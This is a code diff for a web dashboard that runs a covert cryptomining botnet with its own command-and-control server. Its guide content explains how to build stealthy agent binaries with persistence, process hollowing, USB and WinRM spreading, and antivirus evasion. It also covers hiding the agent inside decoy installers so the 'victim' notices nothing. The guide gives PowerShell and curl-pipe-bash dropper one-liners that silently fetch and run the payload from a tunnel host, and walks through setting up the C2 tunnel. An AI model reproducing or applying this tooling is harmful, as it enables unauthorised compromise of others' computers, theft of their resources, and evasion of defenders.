p.vy -= 0.04;
|
||||
|
||||
p.x += p.vx;
|
||||
p.y += p.vy;
|
||||
p.life -= p.decay;
|
||||
// Particles shrink as they cool
|
||||
p.size *= 0.982;
|
||||
|
||||
if (p.life <= 0 || p.size < 1) continue;
|
||||
alive.push(p);
|
||||
|
||||
const l = p.life;
|
||||
// Color temperature: white-yellow core → orange → red → dark red
|
||||
let r: number, g: number, b: number;
|
||||
if (l > 0.75) {
|
||||
// White-hot
|
||||
r = 255; g = 255; b = Math.round((l - 0.75) / 0.25 * 220);
|
||||
} else if (l > 0.5) {
|
||||
// Yellow-orange
|
||||
r = 255; g = Math.round(100 + (l - 0.5) / 0.25 * 155); b = 0;
|
||||
} else if (l > 0.25) {
|
||||
// Orange-red
|
||||
r = 255; g = Math.round((l - 0.25) / 0.25 * 100); b = 0;
|
||||
} else {
|
||||
// Deep red, fading
|
||||
r = Math.round(160 + l / 0.25 * 95); g = 0; b = 0;
|
||||
}
|
||||
|
||||
const grad = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, p.size);
|
||||
grad.addColorStop(0, `rgba(${r},${g},${b},${l})`);
|
||||
grad.addColorStop(0.4, `rgba(${r},${Math.round(g * 0.6)},0,${l * 0.6})`);
|
||||
grad.addColorStop(1, `rgba(0,0,0,0)`);
|
||||
|
||||
ctx.beginPath();
|
||||
ctx.arc(p.x, p.y, p.size, 0, Math.PI * 2);
|
||||
ctx.fillStyle = grad;
|
||||
ctx.fill();
|
||||
}
|
||||
|
||||
particles.current = alive;
|
||||
rafRef.current = requestAnimationFrame(draw);
|
||||
};
|
||||
|
||||
rafRef.current = requestAnimationFrame(draw);
|
||||
|
||||
return () => {
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
window.removeEventListener('resize', resize);
|
||||
window.removeEventListener('mousemove', onMove);
|
||||
};
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<canvas
|
||||
ref={canvasRef}
|
||||
style={{
|
||||
position: 'fixed',
|
||||
inset: 0,
|
||||
pointerEvents: 'none',
|
||||
zIndex: 9998,
|
||||
}}
|
||||
/>
|
||||
);
|
||||
}
|
||||
@@ -369,3 +369,120 @@
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Guide page additions ─────────────────────────────────────────────────── */
|
||||
|
||||
.guide-step-sub {
|
||||
font-size: 0.82em;
|
||||
font-weight: 400;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.guide-step-btn {
|
||||
flex-shrink: 0;
|
||||
align-self: flex-start;
|
||||
margin-top: 0.15rem;
|
||||
}
|
||||
|
||||
/* Code block with copy button */
|
||||
.guide-code-block {
|
||||
position: relative;
|
||||
margin-top: 0.6rem;
|
||||
border-radius: 5px;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
border: 1px solid rgba(201, 162, 39, 0.22);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.guide-code-pre {
|
||||
margin: 0;
|
||||
padding: 0.65rem 3.5rem 0.65rem 0.9rem;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.75rem;
|
||||
line-height: 1.55;
|
||||
color: #b8e0d0;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.guide-code-copy {
|
||||
position: absolute;
|
||||
top: 0.35rem;
|
||||
right: 0.35rem;
|
||||
font-size: 0.65rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
letter-spacing: 0.06em;
|
||||
padding: 0.15rem 0.45rem;
|
||||
background: rgba(0, 245, 255, 0.09);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.guide-code-copy:hover {
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
}
|
||||
|
||||
/* Network topology ASCII diagram */
|
||||
.guide-topology {
|
||||
margin: 0.5rem 0;
|
||||
border-radius: 5px;
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
border: 1px solid rgba(201, 162, 39, 0.18);
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.guide-topology-pre {
|
||||
margin: 0;
|
||||
padding: 0.85rem 1rem;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
line-height: 1.6;
|
||||
color: #c9a227;
|
||||
white-space: pre;
|
||||
}
|
||||
|
||||
/* Dropper one-liner quick-ref grid */
|
||||
.guide-dropper-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.guide-dropper-item {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.3rem;
|
||||
}
|
||||
|
||||
.guide-dropper-os {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.68rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-amber, #ffc060);
|
||||
}
|
||||
|
||||
/* Inline code links */
|
||||
.guide-link {
|
||||
color: var(--neon-cyan, #0ff);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
.guide-link:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.guide-dropper-grid {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
.guide-topology-pre {
|
||||
font-size: 0.6rem;
|
||||
}
|
||||
}
|
||||
|
||||
45
server/web/src/context/ForgeContext.tsx
Normal file
45
server/web/src/context/ForgeContext.tsx
Normal file
@@ -0,0 +1,45 @@
|
||||
import { createContext, useContext, useState, useCallback, ReactNode } from 'react';
|
||||
|
||||
export interface ForgeState {
|
||||
forging: boolean;
|
||||
stage: string;
|
||||
progress: number; // 0–100
|
||||
}
|
||||
|
||||
interface ForgeContextValue extends ForgeState {
|
||||
startForge: () => void;
|
||||
endForge: () => void;
|
||||
setStage: (stage: string, progress: number) => void;
|
||||
}
|
||||
|
||||
const ForgeContext = createContext<ForgeContextValue>({
|
||||
forging: false,
|
||||
stage: '',
|
||||
progress: 0,
|
||||
startForge: () => {},
|
||||
endForge: () => {},
|
||||
setStage: () => {},
|
||||
});
|
||||
|
||||
export function ForgeProvider({ children }: { children: ReactNode }) {
|
||||
const [state, setState] = useState<ForgeState>({ forging: false, stage: '', progress: 0 });
|
||||
|
||||
const startForge = useCallback(() =>
|
||||
setState({ forging: true, stage: 'Initializing forge...', progress: 0 }), []);
|
||||
|
||||
const endForge = useCallback(() =>
|
||||
setState({ forging: false, stage: '', progress: 0 }), []);
|
||||
|
||||
const setStage = useCallback((stage: string, progress: number) =>
|
||||
setState((s) => ({ ...s, stage, progress })), []);
|
||||
|
||||
return (
|
||||
<ForgeContext.Provider value={{ ...state, startForge, endForge, setStage }}>
|
||||
{children}
|
||||
</ForgeContext.Provider>
|
||||
);
|
||||
}
|
||||
|
||||
export function useForge() {
|
||||
return useContext(ForgeContext);
|
||||
}
|
||||
@@ -114,6 +114,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
}
|
||||
: a
|
||||
)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/** Structured content for the visual Guide / Cheat Sheet page. */
|
||||
/** Structured content for the Field Guide page — updated to match current AetherForge feature set. */
|
||||
|
||||
export interface CheatStep {
|
||||
id: string;
|
||||
@@ -9,6 +9,7 @@ export interface CheatStep {
|
||||
route?: string;
|
||||
routeLabel?: string;
|
||||
tips?: string[];
|
||||
code?: string; // inline example command / snippet
|
||||
}
|
||||
|
||||
export interface CheatSection {
|
||||
@@ -19,177 +20,437 @@ export interface CheatSection {
|
||||
cards?: { title: string; body: string; accent?: string }[];
|
||||
}
|
||||
|
||||
// ─── Main pipeline ────────────────────────────────────────────────────────────
|
||||
|
||||
export const PIPELINE_STEPS: CheatStep[] = [
|
||||
{
|
||||
id: 'calibrate',
|
||||
title: 'Calibrate',
|
||||
subtitle: 'Server hub',
|
||||
subtitle: 'One-time server setup',
|
||||
icon: '⚙',
|
||||
body: 'Set listen port, data folder, fleet alerts, pool/wallet defaults for new Forge forms, and server limits. Does not change already-forged miners.',
|
||||
body: 'Set the listen port, data folder, fleet alert thresholds, default pool/wallet hints for new Forge forms, and global server limits. Changes here never touch already-forged agents — they are baked at Forge time.',
|
||||
route: '/settings',
|
||||
routeLabel: 'Open Calibrate',
|
||||
tips: ['One-time server setup', 'Public LAN URL helps Forge quick-pick chips'],
|
||||
tips: [
|
||||
'Port default is 8080 — change if conflicting',
|
||||
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
|
||||
'Set a default wallet address here so every new Forge form pre-fills it',
|
||||
'Build retention: how many days old builds stay on disk before auto-purge',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'forge',
|
||||
title: 'Forge',
|
||||
subtitle: 'Per-miner config',
|
||||
subtitle: 'Build a worker binary',
|
||||
icon: '⚒',
|
||||
body: 'Calibrate every worker here — wallet, pool, threads, install path, stealth, Fusion, AI. All baked into the .exe + uninstall script.',
|
||||
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
|
||||
route: '/forge',
|
||||
routeLabel: 'Open Forge',
|
||||
tips: ['Green badge = baked into installer', 'Preflight must pass before forge'],
|
||||
tips: [
|
||||
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
|
||||
'For LAN-only: http://192.168.1.50:8080',
|
||||
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
|
||||
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
|
||||
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'deploy',
|
||||
title: 'Deploy',
|
||||
subtitle: 'Copy & run once',
|
||||
icon: '📦',
|
||||
body: 'Copy install-*.exe (or fused prep.exe) to each Windows machine. Double-click once — it embeds, persists, and connects back.',
|
||||
tips: ['Keep uninstall-*.ps1 next to the exe', 'Use LAN IP in server URL, not localhost'],
|
||||
id: 'buildmgr',
|
||||
title: 'Build Manager',
|
||||
subtitle: 'Manage forged binaries',
|
||||
icon: '📋',
|
||||
body: 'Every build you forge is listed here with its baked settings (C2, wallet, pool, platform). Download any build, grab dropper one-liners, copy to any machine. Pin one build to make the dropper commands always serve it.',
|
||||
route: '/builds',
|
||||
routeLabel: 'Build Manager',
|
||||
tips: [
|
||||
'Pin a build → dropper one-liners always serve that exact binary',
|
||||
'Unpinned: dropper serves the most-recently-forged build',
|
||||
'Each card shows wallet (truncated), pool, thread count, and file size',
|
||||
'Re-forge button pre-fills Forge with that build\'s exact baked settings',
|
||||
'Delete removes the DB record (archive file stays on server disk)',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'drop',
|
||||
title: 'Drop',
|
||||
subtitle: 'One-liner remote install',
|
||||
icon: '📡',
|
||||
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
|
||||
tips: [
|
||||
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
|
||||
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
|
||||
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
|
||||
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
|
||||
'Pin the correct build in Build Manager before sending the one-liner',
|
||||
],
|
||||
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
|
||||
},
|
||||
{
|
||||
id: 'connect',
|
||||
title: 'Connect',
|
||||
subtitle: 'WebSocket auth',
|
||||
icon: '📡',
|
||||
body: 'Worker reaches your control server, sends forged wallet/pool/AI config, appears on Command Deck and Fleet Roster.',
|
||||
subtitle: 'Agent phones home',
|
||||
icon: '🔗',
|
||||
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
|
||||
route: '/agents',
|
||||
routeLabel: 'Fleet Roster',
|
||||
tips: ['Signal Locked = dashboard live', 'Worker name from Forge shows in roster'],
|
||||
tips: [
|
||||
'Status dot: green = online now, grey = last seen X ago',
|
||||
'If agent never appears: check C2 URL is reachable from the target machine',
|
||||
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
|
||||
'Worker name you set in Forge shows as the agent name in the roster',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'mine',
|
||||
title: 'Mine',
|
||||
subtitle: 'RandomX + pool',
|
||||
subtitle: 'Stratum → pool → shares',
|
||||
icon: '⛏',
|
||||
body: 'Server opens Stratum to your forged pool. Jobs broadcast to agents. Shares validated against pool before accept rate updates.',
|
||||
body: 'The C2 server maintains a Stratum connection to each unique pool+wallet combination that has been forged. Jobs are broadcast to matching agents over WebSocket. Accepted/rejected shares track against the pool directly.',
|
||||
route: '/dashboard',
|
||||
routeLabel: 'Command Deck',
|
||||
tips: ['Hashrate wave chart = fleet total', 'Share log updates live'],
|
||||
tips: [
|
||||
'Command Deck shows total fleet hashrate as a live wave chart',
|
||||
'Pool status panel shows each pool\'s Stratum connection health (green/yellow/red)',
|
||||
'Accept rate below ~95% usually means wrong wallet or pool TLS mismatch',
|
||||
'Hashrate updates every 15 seconds from each agent heartbeat',
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
// ─── Forge vs Calibrate ────────────────────────────────────────────────────────
|
||||
|
||||
export const FORGE_VS_CALIBRATE = {
|
||||
forge: {
|
||||
title: 'Forge — per miner',
|
||||
title: 'Forge — baked into each binary',
|
||||
items: [
|
||||
'Worker name & server URL',
|
||||
'Wallet & pool (host, port, TLS)',
|
||||
'Threads, CPU/RAM limits, schedule',
|
||||
'Install path, stealth, persistence, firewall rules',
|
||||
'Fusion prep bundling',
|
||||
'AI Autonomy toggle + Ollama model',
|
||||
'C2 server URL (e.g. Cloudflare tunnel)',
|
||||
'Wallet address & payment ID',
|
||||
'Pool host, port, TLS on/off, pool password',
|
||||
'Worker name (shows in Fleet Roster)',
|
||||
'Thread count + thread mode (fixed / percent / adapt)',
|
||||
'CPU/RAM usage caps & idle detection',
|
||||
'Mining schedule (start/end time window)',
|
||||
'Install base path + relative subfolder',
|
||||
'Stealth mode (hidden process, no console)',
|
||||
'Persistence (registry + scheduled task + WMI)',
|
||||
'Windows Firewall allow rules',
|
||||
'Self-healing (watchdog re-installs if killed)',
|
||||
'USB propagation + share/WinRM spread',
|
||||
'Process hollowing + display name disguise',
|
||||
'Fusion (wrap inside a prep.exe or media file)',
|
||||
'AI Autonomy (Ollama model, endpoint)',
|
||||
'Backup C2s and backup pools',
|
||||
],
|
||||
},
|
||||
calibrate: {
|
||||
title: 'Calibrate — control server',
|
||||
title: 'Calibrate — control server only',
|
||||
items: [
|
||||
'Listen port & data directory',
|
||||
'Dashboard subtitle',
|
||||
'Fleet alert thresholds + notifications',
|
||||
'Default pool/wallet for new Forge forms',
|
||||
'Stats & build retention, max agents/build size',
|
||||
'WebSocket ping, pool reconnect, logging toggles',
|
||||
'Listen port (default 8080)',
|
||||
'Data directory path',
|
||||
'Dashboard subtitle (cosmetic)',
|
||||
'Default pool/wallet shown in new Forge forms',
|
||||
'Fleet alert thresholds + Telegram/email notify',
|
||||
'Max agents / max build size limits',
|
||||
'Stats & build retention periods',
|
||||
'WebSocket ping & pool reconnect intervals',
|
||||
'Logging toggles (connections, shares, pool traffic)',
|
||||
'Open control-server port in Windows Firewall',
|
||||
'Build signing (Authenticode cert thumbprint)',
|
||||
'Garble obfuscation default on/off',
|
||||
],
|
||||
},
|
||||
};
|
||||
|
||||
// ─── Network / Cloudflare topology ────────────────────────────────────────────
|
||||
|
||||
export const NETWORK_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'n1',
|
||||
title: 'Portable self-configuring tunnel',
|
||||
subtitle: 'Bundled into LAUNCH.bat',
|
||||
icon: '🚀',
|
||||
body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
|
||||
tips: [
|
||||
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
|
||||
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
|
||||
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
|
||||
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
|
||||
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'n2',
|
||||
title: 'C2 server binding',
|
||||
subtitle: '0.0.0.0:8989',
|
||||
icon: '🖥',
|
||||
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
|
||||
tips: [
|
||||
'Leave Public URL blank in Calibrate — not needed',
|
||||
'Dashboard LAN access: http://<lan-ip>:8989',
|
||||
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
|
||||
'LAN and tunnel both work simultaneously',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'n3',
|
||||
title: 'Named tunnel — permanent hostname',
|
||||
subtitle: 'killa.thetempleofdoom.com',
|
||||
icon: '☁',
|
||||
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
|
||||
tips: [
|
||||
'Tunnel credentials JSON = portable "license" for the tunnel',
|
||||
'Any machine with that JSON + cloudflared can run the tunnel',
|
||||
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
|
||||
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
|
||||
],
|
||||
code: `# One-time setup (run once on any machine):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
|
||||
# Then copy credentials to USB:
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
|
||||
},
|
||||
{
|
||||
id: 'n4',
|
||||
title: 'Forge C2 URL',
|
||||
subtitle: 'Bake the permanent hostname',
|
||||
icon: '🔗',
|
||||
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
|
||||
tips: [
|
||||
'Control Endpoint: https://killa.thetempleofdoom.com',
|
||||
'No port, no trailing slash',
|
||||
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
|
||||
'Agents try all C2s in order if one is unreachable',
|
||||
],
|
||||
code: `Control Endpoint: https://killa.thetempleofdoom.com
|
||||
Backup C2 (optional): http://192.168.1.50:8989`,
|
||||
},
|
||||
{
|
||||
id: 'n5',
|
||||
title: 'Dropper one-liners',
|
||||
subtitle: 'Permanent URLs — no more temp tunnels',
|
||||
icon: '💧',
|
||||
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
|
||||
tips: [
|
||||
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
|
||||
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
|
||||
'Endpoints are unauthenticated — the URL is the gate',
|
||||
'Dashboard requires login — dropper does not',
|
||||
],
|
||||
code: `# Windows (any PowerShell):
|
||||
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
|
||||
# Linux / macOS:
|
||||
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
|
||||
|
||||
# Direct binary:
|
||||
https://killa.thetempleofdoom.com/get`,
|
||||
},
|
||||
];
|
||||
|
||||
// ─── Fusion workflow ───────────────────────────────────────────────────────────
|
||||
|
||||
export const FUSION_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'f1',
|
||||
title: 'Build worker config',
|
||||
subtitle: 'Forge tab',
|
||||
title: 'Configure the worker first',
|
||||
subtitle: 'Forge tab — all settings',
|
||||
icon: '1',
|
||||
body: 'Set all miner options first — Fusion wraps the same smart agent inside your prep app.',
|
||||
body: 'Fill in all your Forge settings (C2 URL, wallet, pool, stealth, persistence, etc.) before enabling Fusion. The same agent is just wrapped inside your prep file.',
|
||||
tips: ['Stealth + persistence recommended for Fusion builds', 'Garble obfuscation helps AV evasion'],
|
||||
},
|
||||
{
|
||||
id: 'f2',
|
||||
title: 'Enable Fusion',
|
||||
subtitle: 'Upload prep.exe',
|
||||
title: 'Enable Fusion + upload prep',
|
||||
subtitle: 'Toggle → upload → pick order',
|
||||
icon: '2',
|
||||
body: 'Toggle Fusion, upload your prep.exe, pick run order (parallel / prep first / worker first).',
|
||||
body: 'Toggle Fusion on, upload your prep.exe (the legit-looking app — installer, game launcher, PDF reader, etc.). Pick run order: Parallel (both launch), Prep First (prep runs, then agent), or Worker First.',
|
||||
tips: [
|
||||
'Prep can be any Windows .exe — it keeps its icon, version strings, file description',
|
||||
'Parallel = no delay for the victim (best UX)',
|
||||
'The output file is named after your prep.exe',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'f3',
|
||||
title: 'Forge fused output',
|
||||
subtitle: 'One file',
|
||||
title: 'Forge → fused output',
|
||||
subtitle: 'One file, both payloads',
|
||||
icon: '3',
|
||||
body: 'Output is prep.exe (or custom name) containing your app + hidden worker. Uninstall script generated alongside.',
|
||||
body: 'The output is a single .exe that looks exactly like your prep app. When run: prep app launches visibly, agent installs silently in background. Uninstall script is generated alongside.',
|
||||
tips: [
|
||||
'File size = prep + agent overhead',
|
||||
'Signed prep.exe transfers its signature to the output (if signing enabled)',
|
||||
'Fusion export folder in Build Manager shows all deliverables',
|
||||
],
|
||||
code: `Result: prep_app_name.exe (contains hidden agent)
|
||||
uninstall-worker-name.ps1`,
|
||||
},
|
||||
{
|
||||
id: 'f4',
|
||||
title: 'Media Fusion (batch)',
|
||||
subtitle: 'Multiple titles at once',
|
||||
icon: '4',
|
||||
body: 'Upload multiple prep files — each gets its own fused output with the same embedded agent. Great for generating a library of different-looking "installers" that all call home to the same C2.',
|
||||
tips: [
|
||||
'Each output has a unique name matching its prep.exe',
|
||||
'All connect to the same C2 — manage via Build Manager',
|
||||
'Download individual files or as a ZIP bundle',
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
// ─── AI Autonomy ───────────────────────────────────────────────────────────────
|
||||
|
||||
export const AI_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'a1',
|
||||
title: 'Install Ollama',
|
||||
subtitle: 'Control PC',
|
||||
subtitle: 'On the C2 machine',
|
||||
icon: '🤖',
|
||||
body: 'Ollama runs on the machine hosting miner-server — not on workers. Default: http://localhost:11434',
|
||||
body: 'Ollama must run on the same machine as AetherForge (or be reachable from it). It does NOT run on worker machines — the worker just asks the C2 server for decisions.',
|
||||
tips: [
|
||||
'Install: https://ollama.ai',
|
||||
'Pull a model: ollama pull llama3.2',
|
||||
'Default endpoint: http://localhost:11434',
|
||||
'Test: curl http://localhost:11434/api/tags',
|
||||
],
|
||||
code: `ollama pull llama3.2
|
||||
ollama run llama3.2`,
|
||||
},
|
||||
{
|
||||
id: 'a2',
|
||||
title: 'Enable on Forge',
|
||||
subtitle: 'AI Autonomy',
|
||||
title: 'Enable in Forge',
|
||||
subtitle: 'AI Autonomy section',
|
||||
icon: '⚡',
|
||||
body: 'Toggle AI Autonomy, set model (e.g. llama3.2). Re-forge to change after deploy.',
|
||||
body: 'Toggle AI Autonomy on, set the Ollama model name (e.g. llama3.2), confirm the Ollama URL. Re-forge after changing — it\'s baked into the binary. Best combined with Self-healing.',
|
||||
tips: [
|
||||
'Model name must match exactly what Ollama has pulled',
|
||||
'Larger models (llama3.1:70b) reason better but are slower',
|
||||
'Self-healing + AI = agent repairs itself AND adapts behavior',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'a3',
|
||||
title: 'Agent loop',
|
||||
subtitle: 'Every ~60s',
|
||||
title: 'Agent autonomy loop',
|
||||
subtitle: 'Every ~60 seconds',
|
||||
icon: '🔄',
|
||||
body: 'Forged worker asks server /decide → Ollama → tool calls (self-heal, persistence check). Best with Self-healing on.',
|
||||
body: 'Forged worker periodically calls C2 /agent/decide → C2 sends context to Ollama → Ollama returns tool calls → agent executes (adjust threads, self-heal, check persistence, adapt to hardware). All logged to /agent/report.',
|
||||
tips: [
|
||||
'AI activity visible on Command Deck → AI Activity section',
|
||||
'Adapt To Hardware: agent auto-tunes thread count based on CPU load',
|
||||
'If Ollama is down, agent falls back to static config — nothing breaks',
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
// ─── Troubleshooting ───────────────────────────────────────────────────────────
|
||||
|
||||
export const TROUBLESHOOTING = [
|
||||
{ problem: 'Agent never appears', fix: 'Server URL must be LAN IP (192.168.x.x), not localhost. Enable Calibrate → open firewall port, and Forge → firewall exclusion on workers. Router must allow LAN→LAN traffic.' },
|
||||
{ problem: 'Firewall blocked miner', fix: 'Re-forge with Windows Firewall allow rules enabled, run installer once as Administrator, or manually allow the installed .exe in Windows Security → Firewall.' },
|
||||
{ problem: '0 hashrate', fix: 'Pool must be reachable from control server. Check pool host/TLS/port in Forge match your pool docs.' },
|
||||
{ problem: 'Forge blocked', fix: 'Read preflight ✕ errors. Common: missing wallet, localhost URL, Fusion without prep.exe, AI without Ollama URL.' },
|
||||
{ problem: 'Shares all rejected', fix: 'Wallet address invalid or pool down. Accept rate waits for real pool validation now.' },
|
||||
{ problem: 'Can\'t remove miner', fix: 'Run uninstall-*.ps1 from the same forge output folder as the installer — as the same Windows user.' },
|
||||
{ problem: 'AI not doing anything', fix: 'Re-forge with AI on. Ollama must run on control PC. Check server logs for /agent/decide.' },
|
||||
{
|
||||
problem: 'Agent never appears in Fleet Roster',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
|
||||
},
|
||||
{
|
||||
problem: 'Forge blocked — server_url error',
|
||||
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
|
||||
},
|
||||
{
|
||||
problem: '0 hashrate / shares never appear',
|
||||
fix: 'Pool must be reachable from the C2 server machine (not the agent). Check Forge settings: pool host, port, TLS match your pool\'s docs. Example for SupportXMR: pool.supportxmr.com:443 with TLS on. Try telnet pool.supportxmr.com 443 from your C2 machine.',
|
||||
},
|
||||
{
|
||||
problem: 'Shares all rejected',
|
||||
fix: 'Wallet address is invalid or wrong for the pool. Monero wallet addresses are 95 chars starting with 4. Some pools require exact format — check your pool dashboard. Accept rate updates live once real shares come in.',
|
||||
},
|
||||
{
|
||||
problem: 'Preflight ✕ blocking forge',
|
||||
fix: 'Read the exact error — common ones: no wallet address, localhost C2 URL, Fusion toggled without prep.exe uploaded, AI enabled without Ollama URL, conflicting thread/CPU settings. Fix each red item before forging.',
|
||||
},
|
||||
{
|
||||
problem: 'Agent installs but goes offline immediately',
|
||||
fix: 'Self-healing + persistence are key. If the process is killed and those are off, agent exits permanently. Re-forge with Persistence (registry + scheduled task) and Self-healing on. Also check AV/Defender — add Firewall Exclusion in Forge.',
|
||||
},
|
||||
{
|
||||
problem: 'Can\'t remove the miner',
|
||||
fix: 'Run uninstall-workername.ps1 as Administrator in PowerShell. It removes registry keys, scheduled tasks, WMI triggers, and the installed binary. If that fails: Task Manager → End the process name you set in Forge, then delete manually from the install path.',
|
||||
},
|
||||
{
|
||||
problem: 'PS1 dropper does nothing / errors',
|
||||
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
|
||||
},
|
||||
{
|
||||
problem: 'Forge hangs / Kill Build button',
|
||||
fix: 'Go compiler can hang if garble obfuscation is on and GOPATH has stale cache. Click "Kill Build", disable garble temporarily, forge again. Also check agent source is present — LAUNCH.bat installs it automatically.',
|
||||
},
|
||||
{
|
||||
problem: 'AI not making any decisions',
|
||||
fix: 'Check: 1) AI Autonomy was enabled before this forge (it\'s baked in), 2) Ollama is running on the C2 machine (curl http://localhost:11434/api/tags should return JSON), 3) model name in Forge matches pulled model exactly. Server logs show /agent/decide calls.',
|
||||
},
|
||||
{
|
||||
problem: 'Dashboard shows wrong hashrate',
|
||||
fix: 'Hashrate is reported by agents every 15s. If an agent has been offline and came back, wait one update cycle. The 15m hashrate smooths over short gaps. Fleet total = sum of all online agents.',
|
||||
},
|
||||
{
|
||||
problem: 'Build Manager shows no builds',
|
||||
fix: 'Builds are stored in the data/builds folder on the C2 server. If running from USB and data dir is relative — check LAUNCH.bat sets the data dir to a persistent location, not a temp folder.',
|
||||
},
|
||||
];
|
||||
|
||||
/** Shipped vs planned — shown on Guide page. */
|
||||
